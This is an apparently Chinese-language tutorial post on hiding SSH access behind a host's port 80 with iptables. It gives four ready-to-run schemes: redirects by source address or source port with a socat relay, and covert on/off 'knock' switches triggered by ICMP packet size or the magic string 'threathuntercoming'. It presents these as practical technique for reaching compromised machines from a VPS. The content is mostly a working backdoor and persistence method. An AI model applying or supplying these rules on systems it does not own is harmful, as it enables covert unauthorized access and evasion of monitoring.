Linux利用iptables做端口复用
方案一:(根据源地址做端口复用)
以下这条命令的作用是将来自192.168.10.13的访问80端口的流量都重定向到22端口。
1
| iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --dport 80 -j REDIRECT --to-port 22
|
但是这样做有一个问题就是,我们访问目标主机80端口的流量都会被转给22端口。如果我们不用访问该HTTP服务的话,这是一个好的办法。实战中,我们一般是用VPS连接不用访问HTTP服务,所以在实战中该方法用的比较多。
方案二:(根据源地址源端口做端口复用)
以下的命令是根据源地址源端口做端口复用,也就是只有来自192.168.10.13主机的33333端口的访问80端口的流量会被转给22端口.
1
| iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --sport 33333 --dport 80 -j REDIRECT --to-port 22
|
然后我们本机先用socat将本地44444端口的流量以源端口33333访问192.168.10.129的80,然后我们SSH本地的44444端口即可。
1 2
| nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.10.129:80,sourceport=33333,reuseaddr & ssh -p 44444 root@127.0.0.1
|
但是这样做有一个问题就是不支持多连接 如果想创建两个 SSH 连接就会出错,因为本地的33333 端口已经被第一个 SSH 连接占用了。
方案三:(利用ICMP协议做遥控开关)
利用 ICMP 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。
1 2 3 4 5 6 7 8 9
| iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length1139 -m recent --set --name letmein --rsource -j ACCEPT
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length1140 -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
|
1 2 3 4 5
| 开启复用 ping -c 1 -s 1111 192.168.10.129
关闭复用 ping -c 1 -s 1112 192.168.10.129
|
方案四:(利用TCP协议做遥控开关)
利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。
1 2 3 4 5 6 7 8 9
| iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
|
1 2 3 4 5
| 开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH echo threathuntercoming | socat - tcp:192.168.10.129:80
关闭复用,关闭后,80 恢复正常: echo threathunterleaving | socat - tcp:192.168.10.129:80
|